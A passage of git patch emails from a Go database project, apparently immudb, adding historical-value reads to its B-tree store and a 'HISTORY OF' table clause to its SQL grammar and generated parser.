cp(leafValue.timedValue().Value), leafValue.timedValue().Ts, leafValue.historyCount(), nil + return cp(r.leafValue.key), cp(tvs[0].Value), tvs[0].Ts, hc, nil } } From f246f1515c1b1022f20839822a53fecc4e95a24b Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 3 Oct 2023 12:32:48 +0200 Subject: [PATCH 0826/1062] chore(embedded/tbtree): fetching historical values Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/snapshot.go | 21 +++++++++++---------- embedded/tbtree/tbtree.go | 20 ++++++++++++-------- 2 files changed, 23 insertions(+), 18 deletions(-) diff --git a/embedded/tbtree/snapshot.go b/embedded/tbtree/snapshot.go index 45b03a7bec..0ecf5b3053 100644 --- a/embedded/tbtree/snapshot.go +++ b/embedded/tbtree/snapshot.go @@ -305,16 +305,17 @@ func (s *Snapshot) NewReader(spec ReaderSpec) (r *Reader, err error) { // Create a new reader with the given specification r = &Reader{ - snapshot: s, - id: s.maxReaderID, - seekKey: seekKey, - endKey: endKey, - prefix: spec.Prefix, - inclusiveSeek: inclusiveSeek, - inclusiveEnd: inclusiveEnd, - descOrder: spec.DescOrder, - offset: spec.Offset, - closed: false, + snapshot: s, + id: s.maxReaderID, + seekKey: seekKey, + endKey: endKey, + prefix: spec.Prefix, + inclusiveSeek: inclusiveSeek, + inclusiveEnd: inclusiveEnd, + includeHistory: spec.IncludeHistory, + descOrder: spec.DescOrder, + offset: spec.Offset, + closed: false, } s.readers[r.id] = r diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index c134222cdf..21bbf51c3c 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -2328,7 +2328,11 @@ func (l *leafNode) history(key []byte, offset uint64, desc bool, limit int) ([]T leafValue := l.values[i] - hCount := leafValue.historyCount() + return leafValue.history(key, offset, desc, limit, l.t.hLog) +} + +func (lv *leafValue) history(key []byte, offset uint64, desc bool, limit int, hLog appendable.Appendable) ([]TimedValue, uint64, error) { + hCount := lv.historyCount() if offset == hCount { return nil, 0, ErrNoMoreEntries @@ -2352,24 +2356,24 @@ func (l *leafNode) history(key []byte, offset uint64, desc bool, limit int) ([]T initAt = hCount - offset - uint64(timedValuesLen) } - if initAt < uint64(len(leafValue.timedValues)) { - for i := int(initAt); i < len(leafValue.timedValues) && tssOff < timedValuesLen; i++ { + if initAt < uint64(len(lv.timedValues)) { + for i := int(initAt); i < len(lv.timedValues) && tssOff < timedValuesLen; i++ { if desc { - timedValues[tssOff] = leafValue.timedValues[i] + timedValues[tssOff] = lv.timedValues[i] } else { - timedValues[timedValuesLen-1-tssOff] = leafValue.timedValues[i] + timedValues[timedValuesLen-1-tssOff] = lv.timedValues[i] } tssOff++ } } - hOff := leafValue.hOff + hOff := lv.hOff - ti := uint64(len(leafValue.timedValues)) + ti := uint64(len(lv.timedValues)) for tssOff < timedValuesLen { - r := appendable.NewReaderFrom(l.t.hLog, hOff, DefaultMaxNodeSize) + r := appendable.NewReaderFrom(hLog, hOff, DefaultMaxNodeSize) hc, err := r.ReadUint32() if err != nil { From 6edd68971881a92f0fa5f4226d11a276db919628 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 3 Oct 2023 14:15:05 +0200 Subject: [PATCH 0827/1062] chore(embedded/store): key reader including historical entries Signed-off-by: Jeronimo Irazabal --- embedded/store/key_reader.go | 57 +++++++++++++++++++++--------------- 1 file changed, 33 insertions(+), 24 deletions(-) diff --git a/embedded/store/key_reader.go b/embedded/store/key_reader.go index 5164f7f3eb..c38b0db1f8 100644 --- a/embedded/store/key_reader.go +++ b/embedded/store/key_reader.go @@ -65,14 +65,15 @@ type KeyReader interface { } type KeyReaderSpec struct { - SeekKey []byte - EndKey []byte - Prefix []byte - InclusiveSeek bool - InclusiveEnd bool - DescOrder bool - Filters []FilterFn - Offset uint64 + SeekKey []byte + EndKey []byte + Prefix []byte + InclusiveSeek bool + InclusiveEnd bool + IncludeHistory bool + DescOrder bool + Filters []FilterFn + Offset uint64 } func (s *Snapshot) set(key, value []byte) error { @@ -197,12 +198,13 @@ func (s *Snapshot) Close() error { func (s *Snapshot) NewKeyReader(spec KeyReaderSpec) (KeyReader, error) { r, err := s.snap.NewReader(tbtree.ReaderSpec{ - SeekKey: spec.SeekKey, - EndKey: spec.EndKey, - Prefix: spec.Prefix, - InclusiveSeek: spec.InclusiveSeek, - InclusiveEnd: spec.InclusiveEnd, - DescOrder: spec.DescOrder, + SeekKey: spec.SeekKey, + EndKey: spec.EndKey, + Prefix: spec.Prefix, + InclusiveSeek: spec.InclusiveSeek, + InclusiveEnd: spec.InclusiveEnd, + IncludeHistory: spec.IncludeHistory, + DescOrder: spec.DescOrder, }) if err != nil { return nil, err @@ -228,6 +230,7 @@ func (s *Snapshot) NewKeyReader(spec KeyReaderSpec) (KeyReader, error) { snap: s, reader: r, filters: spec.Filters, + includeHistory: spec.IncludeHistory, refInterceptor: refInterceptor, offset: spec.Offset, }, nil @@ -393,6 +396,8 @@ type storeKeyReader struct { snap *Snapshot reader *tbtree.Reader filters []FilterFn + includeHistory bool + refInterceptor valueRefInterceptor offset uint64 @@ -415,11 +420,13 @@ func (r *storeKeyReader) ReadBetween(ctx context.Context, initialTxID, finalTxID filterEntry := false - for _, filter := range r.filters { - err = filter(valRef, r.snap.ts) - if err != nil { - filterEntry = true - break + if !r.includeHistory { + for _, filter := range r.filters { + err = filter(valRef, r.snap.ts) + if err != nil { + filterEntry = true + break + } } } @@ -452,11 +459,13 @@ func (r *storeKeyReader) Read(ctx context.Context) (key []byte, val ValueRef, er filterEntry := false - for _, filter := range r.filters { - err = filter(valRef, r.snap.ts) - if err != nil { - filterEntry = true - break + if !r.includeHistory { + for _, filter := range r.filters { + err = filter(valRef, r.snap.ts) + if err != nil { + filterEntry = true + break + } } } From 47100cb4e6ca90c94c63939d6814869aed8ecf47 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 3 Oct 2023 14:15:55 +0200 Subject: [PATCH 0828/1062] feat(embedded/sql): query including historical rows Signed-off-by: Jeronimo Irazabal --- embedded/sql/row_reader.go | 22 ++++++++++++---------- embedded/sql/stmt.go | 8 +++++--- 2 files changed, 17 insertions(+), 13 deletions(-) diff --git a/embedded/sql/row_reader.go b/embedded/sql/row_reader.go index 86bca44138..745557dfe8 100644 --- a/embedded/sql/row_reader.go +++ b/embedded/sql/row_reader.go @@ -41,9 +41,10 @@ type RowReader interface { } type ScanSpecs struct { - Index *Index - rangesByColID map[uint32]*typedValueRange - DescOrder bool + Index *Index + rangesByColID map[uint32]*typedValueRange + IncludeHistory bool + DescOrder bool } type Row struct { @@ -250,13 +251,14 @@ func keyReaderSpecFrom(sqlPrefix []byte, table *Table, scanSpecs *ScanSpecs) (sp } return &store.KeyReaderSpec{ - SeekKey: seekKey, - InclusiveSeek: true, - EndKey: endKey, - InclusiveEnd: true, - Prefix: prefix, - DescOrder: scanSpecs.DescOrder, - Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, + SeekKey: seekKey, + InclusiveSeek: true, + EndKey: endKey, + InclusiveEnd: true, + Prefix: prefix, + DescOrder: scanSpecs.DescOrder, + Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, + IncludeHistory: scanSpecs.IncludeHistory, }, nil } diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index cd58eca58e..edbad070c8 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -2272,6 +2272,7 @@ type DataSource interface { type SelectStmt struct { distinct bool + history bool selectors []Selector ds DataSource indexOn []string @@ -2563,9 +2564,10 @@ func (stmt *SelectStmt) genScanSpecs(tx *SQLTx, params map[string]interface{}) ( } return &ScanSpecs{ - Index: sortingIndex, - rangesByColID: rangesByColID, - DescOrder: descOrder, + Index: sortingIndex, + rangesByColID: rangesByColID, + IncludeHistory: stmt.history, + DescOrder: descOrder, }, nil } From abd5c48035bb191ebd2b84df3a6932fabaffe699 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 4 Oct 2023 11:15:44 +0200 Subject: [PATCH 0829/1062] feat(embedded/sql): table history Signed-off-by: Jeronimo Irazabal --- embedded/sql/parser.go | 2 + embedded/sql/sql_grammar.y | 7 +- embedded/sql/sql_parser.go | 607 +++++++++++++++++++------------------ embedded/sql/stmt.go | 10 +- 4 files changed, 320 insertions(+), 306 deletions(-) diff --git a/embedded/sql/parser.go b/embedded/sql/parser.go index 36e80a6f24..1ffe4b0ce1 100644 --- a/embedded/sql/parser.go +++ b/embedded/sql/parser.go @@ -34,6 +34,8 @@ var reservedWords = map[string]int{ "USE": USE, "DATABASE": DATABASE, "SNAPSHOT": SNAPSHOT, + "HISTORY": HISTORY, + "OF": OF, "SINCE": SINCE, "AFTER": AFTER, "BEFORE": BEFORE, diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index 8c8f510177..8f81a396f3 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -69,7 +69,7 @@ func setResult(l yyLexer, stmts []SQLStmt) { onConflict *OnConflictDo } -%token CREATE DROP USE DATABASE SNAPSHOT SINCE AFTER BEFORE UNTIL TX OF TIMESTAMP TABLE UNIQUE INDEX ON ALTER ADD RENAME TO COLUMN PRIMARY KEY +%token CREATE DROP USE DATABASE SNAPSHOT HISTORY SINCE AFTER BEFORE UNTIL TX OF TIMESTAMP TABLE UNIQUE INDEX ON ALTER ADD RENAME TO COLUMN PRIMARY KEY %token BEGIN TRANSACTION COMMIT ROLLBACK %token INSERT UPSERT INTO VALUES DELETE UPDATE SET CONFLICT DO NOTHING %token SELECT DISTINCT FROM JOIN HAVING WHERE GROUP BY LIMIT OFFSET ORDER ASC DESC AS UNION ALL @@ -620,6 +620,11 @@ ds: { $$ = &FnDataSourceStmt{fnCall: $1.(*FnCall), as: $2} } +| + '(' HISTORY OF IDENTIFIER ')' opt_as + { + $$ = &tableRef{table: $4, history: true, as: $6} + } tableRef: IDENTIFIER diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index b12792de7e..030598db7a 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -60,80 +60,81 @@ const DROP = 57347 const USE = 57348 const DATABASE = 57349 const SNAPSHOT = 57350 -const SINCE = 57351 -const AFTER = 57352 -const BEFORE = 57353 -const UNTIL = 57354 -const TX = 57355 -const OF = 57356 -const TIMESTAMP = 57357 -const TABLE = 57358 -const UNIQUE = 57359 -const INDEX = 57360 -const ON = 57361 -const ALTER = 57362 -const ADD = 57363 -const RENAME = 57364 -const TO = 57365 -const COLUMN = 57366 -const PRIMARY = 57367 -const KEY = 57368 -const BEGIN = 57369 -const TRANSACTION = 57370 -const COMMIT = 57371 -const ROLLBACK = 57372 -const INSERT = 57373 -const UPSERT = 57374 -const INTO = 57375 -const VALUES = 57376 -const DELETE = 57377 -const UPDATE = 57378 -const SET = 57379 -const CONFLICT = 57380 -const DO = 57381 -const NOTHING = 57382 -const SELECT = 57383 -const DISTINCT = 57384 -const FROM = 57385 -const JOIN = 57386 -const HAVING = 57387 -const WHERE = 57388 -const GROUP = 57389 -const BY = 57390 -const LIMIT = 57391 -const OFFSET = 57392 -const ORDER = 57393 -const ASC = 57394 -const DESC = 57395 -const AS = 57396 -const UNION = 57397 -const ALL = 57398 -const NOT = 57399 -const LIKE = 57400 -const IF = 57401 -const EXISTS = 57402 -const IN = 57403 -const IS = 57404 -const AUTO_INCREMENT = 57405 -const NULL = 57406 -const CAST = 57407 -const SCAST = 57408 -const NPARAM = 57409 -const PPARAM = 57410 -const JOINTYPE = 57411 -const LOP = 57412 -const CMPOP = 57413 -const IDENTIFIER = 57414 -const TYPE = 57415 -const INTEGER = 57416 -const FLOAT = 57417 -const VARCHAR = 57418 -const BOOLEAN = 57419 -const BLOB = 57420 -const AGGREGATE_FUNC = 57421 -const ERROR = 57422 -const DOT = 57423 -const STMT_SEPARATOR = 57424 +const HISTORY = 57351 +const SINCE = 57352 +const AFTER = 57353 +const BEFORE = 57354 +const UNTIL = 57355 +const TX = 57356 +const OF = 57357 +const TIMESTAMP = 57358 +const TABLE = 57359 +const UNIQUE = 57360 +const INDEX = 57361 +const ON = 57362 +const ALTER = 57363 +const ADD = 57364 +const RENAME = 57365 +const TO = 57366 +const COLUMN = 57367 +const PRIMARY = 57368 +const KEY = 57369 +const BEGIN = 57370 +const TRANSACTION = 57371 +const COMMIT = 57372 +const ROLLBACK = 57373 +const INSERT = 57374 +const UPSERT = 57375 +const INTO = 57376 +const VALUES = 57377 +const DELETE = 57378 +const UPDATE = 57379 +const SET = 57380 +const CONFLICT = 57381 +const DO = 57382 +const NOTHING = 57383 +const SELECT = 57384 +const DISTINCT = 57385 +const FROM = 57386 +const JOIN = 57387 +const HAVING = 57388 +const WHERE = 57389 +const GROUP = 57390 +const BY = 57391 +const LIMIT = 57392 +const OFFSET = 57393 +const ORDER = 57394 +const ASC = 57395 +const DESC = 57396 +const AS = 57397 +const UNION = 57398 +const ALL = 57399 +const NOT = 57400 +const LIKE = 57401 +const IF = 57402 +const EXISTS = 57403 +const IN = 57404 +const IS = 57405 +const AUTO_INCREMENT = 57406 +const NULL = 57407 +const CAST = 57408 +const SCAST = 57409 +const NPARAM = 57410 +const PPARAM = 57411 +const JOINTYPE = 57412 +const LOP = 57413 +const CMPOP = 57414 +const IDENTIFIER = 57415 +const TYPE = 57416 +const INTEGER = 57417 +const FLOAT = 57418 +const VARCHAR = 57419 +const BOOLEAN = 57420 +const BLOB = 57421 +const AGGREGATE_FUNC = 57422 +const ERROR = 57423 +const DOT = 57424 +const STMT_SEPARATOR = 57425 var yyToknames = [...]string{ "$end", @@ -144,6 +145,7 @@ var yyToknames = [...]string{ "USE", "DATABASE", "SNAPSHOT", + "HISTORY", "SINCE", "AFTER", "BEFORE", @@ -241,106 +243,106 @@ var yyExca = [...]int16{ 1, -1, -2, 0, -1, 79, - 58, 143, - 61, 143, - -2, 131, + 59, 144, + 62, 144, + -2, 132, -1, 200, - 44, 107, - -2, 102, - -1, 230, - 44, 107, - -2, 104, + 45, 108, + -2, 103, + -1, 231, + 45, 108, + -2, 105, } const yyPrivate = 57344 -const yyLast = 394 +const yyLast = 400 var yyAct = [...]int16{ - 78, 310, 65, 194, 149, 223, 248, 252, 93, 146, - 155, 184, 229, 113, 247, 105, 185, 108, 166, 48, - 84, 19, 282, 239, 6, 238, 192, 217, 192, 292, - 192, 192, 286, 192, 287, 268, 266, 81, 240, 218, - 83, 193, 283, 269, 96, 92, 267, 94, 95, 253, - 159, 234, 97, 131, 87, 88, 89, 90, 91, 66, - 64, 129, 130, 215, 82, 216, 254, 157, 249, 86, - 213, 131, 214, 206, 125, 126, 128, 127, 124, 129, - 130, 182, 135, 136, 110, 205, 191, 138, 131, 210, - 140, 117, 125, 126, 128, 127, 129, 130, 265, 140, - 168, 141, 139, 137, 119, 116, 104, 151, 103, 125, - 126, 128, 127, 131, 148, 131, 21, 272, 106, 163, - 158, 131, 130, 152, 309, 303, 170, 171, 172, 173, - 174, 175, 271, 160, 125, 126, 128, 127, 128, 127, - 183, 186, 125, 126, 128, 127, 67, 217, 207, 192, - 67, 187, 112, 66, 153, 199, 117, 197, 67, 62, - 200, 188, 181, 162, 76, 66, 264, 28, 29, 115, - 244, 198, 203, 208, 204, 235, 201, 180, 209, 212, - 271, 67, 202, 147, 246, 221, 109, 114, 190, 189, - 167, 169, 164, 161, 120, 99, 225, 70, 68, 37, - 54, 227, 52, 47, 154, 232, 263, 281, 134, 211, - 280, 43, 177, 262, 186, 233, 98, 133, 245, 176, - 241, 131, 167, 118, 178, 251, 236, 179, 69, 60, - 243, 38, 27, 255, 311, 312, 295, 250, 242, 122, - 123, 224, 195, 257, 256, 42, 302, 290, 259, 276, - 186, 106, 289, 258, 111, 35, 40, 19, 300, 293, - 285, 273, 58, 222, 274, 220, 77, 158, 278, 277, - 44, 45, 34, 33, 22, 260, 144, 219, 284, 143, - 142, 2, 291, 299, 226, 102, 23, 121, 71, 53, - 296, 196, 72, 298, 32, 24, 26, 25, 301, 46, - 304, 100, 101, 41, 150, 307, 308, 305, 20, 30, - 81, 31, 313, 83, 270, 314, 107, 96, 92, 132, - 94, 95, 75, 74, 261, 97, 279, 87, 88, 89, - 90, 91, 66, 81, 50, 51, 83, 82, 294, 306, - 96, 92, 86, 94, 95, 10, 12, 11, 97, 156, - 87, 88, 89, 90, 91, 66, 237, 275, 80, 79, - 82, 13, 288, 231, 230, 86, 228, 36, 7, 73, - 8, 9, 14, 15, 49, 59, 16, 17, 39, 63, - 61, 85, 19, 55, 56, 57, 297, 145, 165, 18, - 5, 4, 3, 1, + 78, 315, 65, 194, 113, 224, 149, 250, 254, 93, + 155, 146, 184, 230, 105, 249, 6, 185, 166, 48, + 84, 108, 286, 241, 192, 240, 218, 192, 192, 297, + 192, 19, 291, 192, 271, 269, 242, 77, 219, 290, + 287, 193, 255, 281, 159, 272, 270, 81, 235, 217, + 83, 215, 207, 206, 96, 92, 191, 94, 95, 256, + 64, 157, 97, 117, 87, 88, 89, 90, 91, 66, + 251, 140, 214, 211, 82, 140, 110, 168, 124, 86, + 141, 81, 135, 136, 83, 139, 137, 138, 96, 92, + 119, 94, 95, 116, 104, 103, 97, 21, 87, 88, + 89, 90, 91, 66, 67, 67, 106, 151, 82, 314, + 308, 131, 66, 86, 275, 131, 148, 162, 62, 163, + 274, 158, 152, 129, 130, 218, 170, 171, 172, 173, + 174, 175, 208, 160, 128, 127, 125, 126, 128, 127, + 183, 186, 153, 182, 192, 112, 117, 268, 267, 131, + 28, 29, 216, 187, 181, 199, 246, 129, 130, 197, + 131, 188, 200, 204, 209, 205, 131, 237, 129, 130, + 125, 126, 128, 127, 202, 198, 201, 274, 67, 213, + 210, 125, 126, 128, 127, 66, 131, 125, 126, 128, + 127, 76, 180, 115, 67, 130, 226, 147, 262, 248, + 222, 228, 109, 190, 189, 167, 234, 125, 126, 128, + 127, 114, 169, 164, 167, 186, 27, 161, 120, 247, + 99, 70, 68, 243, 37, 54, 253, 238, 52, 47, + 154, 244, 245, 233, 257, 266, 285, 134, 212, 252, + 261, 177, 265, 98, 258, 259, 133, 131, 176, 284, + 178, 118, 186, 179, 43, 69, 60, 38, 316, 317, + 300, 225, 195, 307, 276, 294, 122, 123, 277, 279, + 158, 280, 282, 106, 42, 293, 260, 111, 35, 40, + 203, 19, 288, 305, 298, 289, 296, 295, 58, 223, + 221, 22, 34, 33, 301, 263, 220, 303, 144, 44, + 45, 143, 142, 306, 304, 309, 227, 121, 71, 53, + 312, 313, 310, 19, 196, 81, 2, 318, 83, 46, + 319, 72, 96, 92, 32, 94, 95, 10, 12, 11, + 97, 102, 87, 88, 89, 90, 91, 66, 41, 156, + 236, 30, 82, 31, 13, 75, 74, 86, 100, 101, + 150, 7, 23, 8, 9, 14, 15, 36, 20, 16, + 17, 273, 24, 26, 25, 19, 50, 51, 107, 132, + 264, 283, 299, 55, 56, 57, 311, 239, 278, 80, + 79, 292, 232, 231, 229, 73, 49, 59, 39, 63, + 61, 85, 302, 145, 165, 18, 5, 4, 3, 1, } var yyPact = [...]int16{ - 341, -1000, -1000, 28, -1000, -1000, -1000, 246, -1000, -1000, - 279, 160, 293, 278, 240, 239, 212, 127, 176, 214, - -1000, 341, -1000, 152, 152, 152, 281, -1000, 131, 325, - 130, 270, 128, 127, 127, 127, 225, -1000, 173, 74, - -1000, -1000, 126, 171, 125, 269, 152, -1000, -1000, 311, - 253, 253, -1000, 123, 280, 19, 17, 205, 114, 216, - -1000, 211, -1000, 70, 115, -1000, 16, 75, -1000, 163, - 15, 122, 268, -1000, 253, 253, -1000, 276, 26, 151, - -1000, 276, 276, 14, -1000, -1000, 276, -1000, -1000, -1000, - -1000, -1000, 13, -1000, -1000, -1000, -1000, 10, -1000, 12, - 256, 255, 252, 111, 111, 298, 276, 72, -1000, 133, - -1000, -22, 86, -1000, -1000, 121, 78, 120, -1000, 118, - 11, 119, -1000, -1000, 26, 276, 276, 276, 276, 276, - 276, 155, 166, 104, -1000, 51, 53, 216, -9, 276, - 276, 111, 118, 117, 116, -4, 67, -1000, -49, 193, - 273, 26, 298, 114, 276, 298, 325, 216, 115, 1, - 115, -1000, -5, -17, -1000, 66, -1000, 100, 111, 0, - 53, 53, 159, 159, 51, 59, -1000, 145, 276, -19, - -1000, -18, -1000, 9, -25, 65, 26, -51, -1000, 254, - -1000, 231, 113, 229, 191, 276, 265, 193, -1000, 26, - 136, 115, -39, -1000, -1000, -1000, -1000, 150, -66, -52, - 111, -1000, 51, -20, -1000, 97, -1000, 276, -1000, 112, - -21, -1000, -21, -1000, 276, 26, -23, 191, 205, -1000, - 136, 209, -1000, -1000, 115, 249, -1000, 149, 92, 24, - -1000, -54, -44, -55, -47, 26, -1000, 98, -1000, 276, - 50, 26, -1000, -1000, 111, -1000, 202, -1000, -22, -1000, - -23, 147, -1000, 143, -70, -48, -1000, -1000, -1000, -1000, - -1000, -21, 222, -58, -56, 207, 199, 298, -61, -1000, - -1000, -1000, -1000, -1000, -1000, 220, -1000, -1000, 185, 276, - 109, 264, -1000, 218, 193, 198, 26, 43, -1000, 276, - -1000, 191, 109, 109, 26, -1000, 42, 182, -1000, 109, - -1000, -1000, -1000, 182, -1000, + 323, -1000, -1000, 8, -1000, -1000, -1000, 262, -1000, -1000, + 345, 143, 324, 307, 259, 258, 234, 151, 201, 236, + -1000, 323, -1000, 194, 194, 194, 300, -1000, 156, 356, + 155, 289, 152, 151, 151, 151, 250, -1000, 199, 32, + -1000, -1000, 149, 197, 148, 288, 194, -1000, -1000, 333, + 23, 23, -1000, 147, 326, 5, 4, 226, 129, 239, + -1000, 233, -1000, 62, 138, -1000, 3, 64, -1000, 190, + 0, 145, 287, -1000, 23, 23, -1000, 257, 86, 179, + -1000, 257, 257, -4, -1000, -1000, 257, -1000, -1000, -1000, + -1000, -1000, -5, -1000, -1000, -1000, -1000, -19, -1000, -10, + 277, 276, 273, 124, 124, 344, 257, 59, -1000, 158, + -1000, -29, 105, -1000, -1000, 144, 31, 140, -1000, 132, + -13, 139, -1000, -1000, 86, 257, 257, 257, 257, 257, + 257, 183, 191, 118, -1000, 123, 48, 239, 52, 257, + 257, 124, 132, 131, 130, -35, 61, -1000, -50, 212, + 295, 86, 344, 129, 257, 344, 356, 271, 138, -15, + 138, -1000, -38, -39, -1000, 49, -1000, 90, 124, -17, + 48, 48, 184, 184, 123, 103, -1000, 173, 257, -18, + -1000, -40, -1000, 97, -42, 42, 86, -53, -1000, 272, + -1000, 255, 127, 254, 210, 257, 286, 212, -1000, 86, + 163, 138, -43, 325, -1000, -1000, -1000, -1000, 141, -67, + -55, 124, -1000, 123, -11, -1000, 82, -1000, 257, -1000, + 126, -20, -1000, -20, -1000, 257, 86, -31, 210, 226, + -1000, 163, 231, -1000, -1000, 138, 125, 268, -1000, 177, + 73, 72, -1000, -56, -45, -57, -46, 86, -1000, 94, + -1000, 257, 37, 86, -1000, -1000, 124, -1000, 221, -1000, + -29, -1000, -48, -31, 185, -1000, 171, -71, -51, -1000, + -1000, -1000, -1000, -1000, -20, 246, -52, -59, 229, 216, + 344, 138, -62, -1000, -1000, -1000, -1000, -1000, -1000, 244, + -1000, -1000, 208, 257, 121, 284, -1000, -1000, 242, 212, + 214, 86, 27, -1000, 257, -1000, 210, 121, 121, 86, + -1000, 26, 205, -1000, 121, -1000, -1000, -1000, 205, -1000, } var yyPgo = [...]int16{ - 0, 393, 281, 392, 391, 390, 24, 389, 388, 18, - 9, 7, 387, 386, 14, 6, 16, 11, 381, 8, - 20, 380, 379, 2, 378, 375, 10, 349, 19, 374, - 369, 164, 366, 12, 364, 363, 0, 15, 362, 359, - 358, 357, 3, 5, 356, 13, 339, 338, 1, 4, - 245, 326, 324, 319, 17, 316, 314, 308, + 0, 399, 316, 398, 397, 396, 16, 395, 394, 18, + 11, 8, 393, 392, 15, 7, 17, 12, 391, 9, + 20, 390, 389, 2, 388, 387, 10, 339, 19, 386, + 385, 191, 384, 13, 383, 382, 0, 14, 381, 380, + 379, 378, 3, 5, 377, 4, 376, 372, 1, 6, + 274, 371, 370, 369, 21, 368, 361, 358, } var yyR1 = [...]int8{ @@ -353,13 +355,13 @@ var yyR1 = [...]int8{ 18, 19, 8, 8, 9, 44, 44, 44, 51, 51, 52, 52, 52, 6, 6, 7, 25, 25, 24, 24, 21, 21, 22, 22, 20, 20, 20, 23, 23, 26, - 26, 26, 27, 28, 29, 29, 29, 30, 30, 30, - 31, 31, 32, 32, 33, 33, 34, 35, 35, 37, - 37, 41, 41, 38, 38, 42, 42, 43, 43, 47, - 47, 49, 49, 46, 46, 48, 48, 48, 45, 45, - 45, 36, 36, 36, 36, 36, 36, 36, 36, 39, - 39, 39, 39, 53, 53, 40, 40, 40, 40, 40, - 40, 40, 40, + 26, 26, 26, 27, 28, 29, 29, 29, 30, 30, + 30, 31, 31, 32, 32, 33, 33, 34, 35, 35, + 37, 37, 41, 41, 38, 38, 42, 42, 43, 43, + 47, 47, 49, 49, 46, 46, 48, 48, 48, 45, + 45, 45, 36, 36, 36, 36, 36, 36, 36, 36, + 39, 39, 39, 39, 53, 53, 40, 40, 40, 40, + 40, 40, 40, 40, } var yyR2 = [...]int8{ @@ -372,83 +374,83 @@ var yyR2 = [...]int8{ 1, 4, 1, 3, 5, 0, 3, 3, 0, 1, 0, 1, 2, 1, 4, 13, 0, 1, 0, 1, 1, 1, 2, 4, 1, 4, 4, 1, 3, 3, - 4, 2, 1, 2, 0, 2, 2, 0, 2, 2, - 2, 1, 0, 1, 1, 2, 6, 0, 1, 0, - 2, 0, 3, 0, 2, 0, 2, 0, 2, 0, - 3, 0, 4, 2, 4, 0, 1, 1, 0, 1, - 2, 1, 1, 2, 2, 4, 4, 6, 6, 1, - 1, 3, 3, 0, 1, 3, 3, 3, 3, 3, - 3, 3, 4, + 4, 2, 6, 1, 2, 0, 2, 2, 0, 2, + 2, 2, 1, 0, 1, 1, 2, 6, 0, 1, + 0, 2, 0, 3, 0, 2, 0, 2, 0, 2, + 0, 3, 0, 4, 2, 4, 0, 1, 1, 0, + 1, 2, 1, 1, 2, 2, 4, 4, 6, 6, + 1, 1, 3, 3, 0, 1, 3, 3, 3, 3, + 3, 3, 3, 4, } var yyChk = [...]int16{ - -1000, -1, -2, -3, -4, -5, -6, 27, 29, 30, - 4, 6, 5, 20, 31, 32, 35, 36, -7, 41, - -57, 88, 28, 7, 16, 18, 17, 72, 7, 8, - 16, 18, 16, 33, 33, 43, -27, 72, 55, -24, - 42, -2, -50, 59, -50, -50, 18, 72, -28, -29, - 9, 10, 72, 19, 72, -27, -27, -27, 37, -25, - 56, -21, 85, -22, -20, -23, 79, 72, 72, 57, - 72, 19, -50, -30, 12, 11, -31, 13, -36, -39, - -40, 57, 84, 60, -20, -18, 89, 74, 75, 76, - 77, 78, 65, -19, 67, 68, 64, 72, -31, 72, - 21, 22, 5, 89, 89, -37, 46, -55, -54, 72, - -6, 43, 82, -45, 72, 54, 89, 81, 60, 89, - 72, 19, -31, -31, -36, 83, 84, 86, 85, 70, - 71, 62, -53, 66, 57, -36, -36, 89, -36, 89, - 89, 89, 24, 24, 24, -12, -10, 72, -10, -49, - 6, -36, -37, 82, 71, -26, -27, 89, -19, 72, - -20, 72, 85, -23, 72, -8, -9, 72, 89, 72, - -36, -36, -36, -36, -36, -36, 64, 57, 58, 61, - 73, -6, 90, -36, -17, -16, -36, -10, -9, 72, - 72, 90, 82, 90, -42, 49, 18, -49, -54, -36, - -49, -28, -6, -45, -45, 90, 90, 82, 73, -10, - 89, 64, -36, 89, 90, 54, 90, 82, 90, 23, - 34, 72, 34, -43, 50, -36, 19, -42, -32, -33, - -34, -35, 69, -45, 90, 25, -9, -44, 91, 89, - 90, -10, -6, -16, 73, -36, 72, -14, -15, 89, - -14, -36, -11, 72, 89, -43, -37, -33, 44, -45, - 26, -52, 64, 57, 74, 74, 90, 90, 90, 90, - -56, 82, 19, -17, -10, -41, 47, -26, -11, -51, - 63, 64, 92, 90, -15, 38, 90, 90, -38, 45, - 48, -49, 90, 39, -47, 51, -36, -13, -23, 19, - 40, -42, 48, 82, -36, -43, -46, -23, -23, 82, - -48, 52, 53, -23, -48, + -1000, -1, -2, -3, -4, -5, -6, 28, 30, 31, + 4, 6, 5, 21, 32, 33, 36, 37, -7, 42, + -57, 89, 29, 7, 17, 19, 18, 73, 7, 8, + 17, 19, 17, 34, 34, 44, -27, 73, 56, -24, + 43, -2, -50, 60, -50, -50, 19, 73, -28, -29, + 10, 11, 73, 20, 73, -27, -27, -27, 38, -25, + 57, -21, 86, -22, -20, -23, 80, 73, 73, 58, + 73, 20, -50, -30, 13, 12, -31, 14, -36, -39, + -40, 58, 85, 61, -20, -18, 90, 75, 76, 77, + 78, 79, 66, -19, 68, 69, 65, 73, -31, 73, + 22, 23, 5, 90, 90, -37, 47, -55, -54, 73, + -6, 44, 83, -45, 73, 55, 90, 82, 61, 90, + 73, 20, -31, -31, -36, 84, 85, 87, 86, 71, + 72, 63, -53, 67, 58, -36, -36, 90, -36, 90, + 90, 90, 25, 25, 25, -12, -10, 73, -10, -49, + 6, -36, -37, 83, 72, -26, -27, 90, -19, 73, + -20, 73, 86, -23, 73, -8, -9, 73, 90, 73, + -36, -36, -36, -36, -36, -36, 65, 58, 59, 62, + 74, -6, 91, -36, -17, -16, -36, -10, -9, 73, + 73, 91, 83, 91, -42, 50, 19, -49, -54, -36, + -49, -28, -6, 9, -45, -45, 91, 91, 83, 74, + -10, 90, 65, -36, 90, 91, 55, 